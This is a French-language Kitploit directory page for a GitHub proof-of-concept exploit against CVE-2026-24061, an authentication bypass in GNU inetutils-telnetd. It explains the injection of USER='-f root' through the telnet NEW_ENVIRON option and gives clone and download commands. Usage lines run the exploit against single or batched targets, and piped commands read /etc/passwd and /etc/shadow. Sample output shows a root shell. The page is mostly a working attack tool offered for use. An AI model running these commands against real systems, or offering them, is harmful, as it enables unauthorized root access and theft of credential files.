Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-24061 — Preuve de concept : CVE-2026-24061 est une vulnérabilité critique de contournement d'authentification dans GNU inetutils-telnetd permettant à des attaquants distants non authentifiés d'obtenir un accès root immédiat via l'exploitation de l'option telnet NEW_ENVIRON malveillante. | Kitploit
Outils/GitHubGitHub/sh4den/cve-2026-24061
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationSécurité RéseauTests d'IntrusionCommandement et ContrôleAuthentificationArticles et RechercheApprentissage et ÉducationOutil d'Accès à Distance
GitHub
6125il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
sh4den/cve-2026-24061

CVE-2026-24061

Preuve de concept : CVE-2026-24061 est une vulnérabilité critique de contournement d'authentification dans GNU inetutils-telnetd permettant à des attaquants distants non authentifiés d'obtenir un accès root immédiat via l'exploitation de l'option telnet NEW_ENVIRON malveillante.

Voir le dépôt

CVE-2026-24061

GNU inetutils-telnetd - Contournement d'authentification à distance

Un outil de recherche en sécurité pour exploiter CVE-2026-24061, une vulnérabilité critique de contournement d'authentification à distance dans GNU inetutils-telnetd qui permet un accès instantané à un shell root sans authentification.


Table des matières

  • Résumé de la vulnérabilité
  • Versions affectées
  • Analyse technique
  • Prérequis
  • Installation
  • Utilisation
  • Référence des sorties
  • Méthodologie d'exploitation
  • Atténuation et correction
  • Indicateurs de compromission
  • Avertissement légal
  • Références
  • Crédits

Résumé de la vulnérabilité

ChampValeur
Identifiant CVECVE-2026-24061
Score CVSS v3.19.8 (Critique)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Classification CWECWE-88 : Neutralisation incorrecte des délimiteurs d'arguments dans une commande
ÉditeurProjet GNU
Produitinetutils-telnetd
Date de divulgation20 janvier 2026
Correctif disponibleÀ déterminer

Résumé exécutif

Une vulnérabilité critique existe dans GNU inetutils-telnetd jusqu'à la version 2.7 qui permet à des attaquants distants non authentifiés de contourner entièrement l'authentification et d'obtenir un accès immédiat à un shell root. La vulnérabilité est exploitée via l'option telnet NEW_ENVIRON en injectant une variable d'environnement USER spécialement conçue avec la valeur "-f root", ce qui contourne tous les mécanismes d'authentification.

Évaluation de l'impact

  • Confidentialité : Compromission totale des données du système
  • Intégrité : Contrôle complet du système avec privilèges root
  • Disponibilité : Potentiel de prise de contrôle complète du système ou de déni de service
  • Portée : Inchangée - l'exploitation n'affecte que le service telnet vulnérable

Versions affectées

Plage de versionsStatut
<= 2.7Vulnérable
> 2.7Statut du correctif : À déterminer

Analyse technique

Cause racine de la vulnérabilité

La vulnérabilité provient d'une validation incorrecte de la variable d'environnement USER dans le gestionnaire d'option NEW_ENVIRON de telnetd. Lors du traitement de l'option telnet NEW_ENVIRON, le service telnetd ne nettoie pas la valeur de la variable USER avant de la transmettre au processus de connexion. En définissant USER à "-f root", l'attaquant injecte des arguments de ligne de commande qui forcent la réussite de l'authentification pour l'utilisateur root sans nécessiter d'identifiants.

Vecteur d'attaque

  1. L'attaquant se connecte au service telnetd (typiquement port 23)
  2. Pendant la négociation des options telnet, le serveur demande les données NEW_ENVIRON
  3. L'attaquant répond avec la variable d'environnement USER définie à "-f root"
  4. L'argument malveillant contourne les contrôles d'authentification
  5. Un shell root instantané est accordé sans invite de mot de passe
  6. Le système est entièrement compromis

Complexité de l'exploitation

  • Prérequis : Accès réseau au service telnetd cible
  • Authentification : Non requise
  • Interaction utilisateur : Aucune
  • Complexité de l'attaque : Faible

Prérequis

Configuration système requise

  • Python 3.7 ou supérieur
  • Connectivité réseau vers la ou les instances telnetd cibles
  • Permissions suffisantes pour exécuter des scripts Python

Dépendances

Toutes les dépendances font partie de la bibliothèque standard de Python :

PackageObjectif
socketCommunication réseau
selectMultiplexage d'E/S
sysInteraction système
osInterface du système d'exploitation
threadingExploitation concurrente des cibles
datetimeFormatage des horodatages

Installation

Méthode 1 : Utilisation de Git

# Clonez le dépôt
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061

# Exécutez l'exploit
python3 main.py -u <ip_cible>

Méthode 2 : Téléchargement direct

# Téléchargez l'exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py

# Rendez-le exécutable (Linux/macOS)
chmod +x main.py

# Exécutez l'exploit
python3 main.py -u <ip_cible>

Méthode 3 : Installation manuelle

# Assurez-vous que Python 3.7+ est installé
python3 --version

# Téléchargez et exécutez
python3 main.py -u <ip_cible>

Utilisation

Interface en ligne de commande

Usage:
    python3 main.py -u <ip_cible> [-p <port>] [-usr <utilisateur>]
    python3 main.py -l <fichier_cibles> [-p <port>] [-usr <utilisateur>]
    echo "commandes" | python3 main.py -u <ip_cible>

Arguments :
    -u          Adresse IP ou nom d'hôte de la cible unique
    -l          Chemin vers le fichier contenant les IP cibles (une par ligne)
    -p          Port cible (par défaut : 23)
    -usr        Utilisateur à exploiter (par défaut : root)

Exploitation d'une cible unique

Exploiter une instance telnetd unique :

# Exploitation de base (port 23 par défaut, utilisateur root)
python3 main.py -u 192.168.1.100

# Port personnalisé
python3 main.py -u 192.168.1.100 -p 2323

# Utilisateur différent
python3 main.py -u 192.168.1.100 -usr admin

Mode d'exécution de commandes

Exécuter des commandes de manière non interactive :

# Commande unique
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100

# Plusieurs commandes
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100

# Commande avec redirection de sortie
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100

Exploitation de cibles groupées

Exploiter plusieurs cibles à partir d'un fichier :

python3 main.py -l cibles.txt
python3 main.py -l cibles.txt -p 2323
python3 main.py -l cibles.txt -usr admin

Format du fichier cible (cibles.txt) :

192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com

Remarques :

  • Une cible par ligne
  • Adresses IP ou noms d'hôte
  • Les lignes vides sont ignorées
  • Les cibles sont exploitées simultanément à l'aide du threading

Référence des sorties

Indicateurs d'état

IndicateurCouleurDescription
[SUCCESS]VertConnexion réussie à la cible
[EXPLOIT]VertCharge utile d'exploitation envoyée avec succès
[INFO]BleuMessage informatif sur l'opération en cours
[ERROR]RougeÉchec de connexion, délai d'attente ou erreur d'exploitation
[WARNING]JauneMessage d'avertissement (non utilisé actuellement)

Exemple de sortie

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass        ║
║                                                               ║
║  CVSS Score: 9.8 (Critical)                                   ║
║  Impact: Remote Authentication Bypass - Instant Root Shell    ║
║                                                               ║
║          This tool is part of the HGrab Framework.            ║
╚═══════════════════════════════════════════════════════════════╝

[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

Méthodologie d'exploitation

Processus de négociation du protocole Telnet

Télécharger l’outil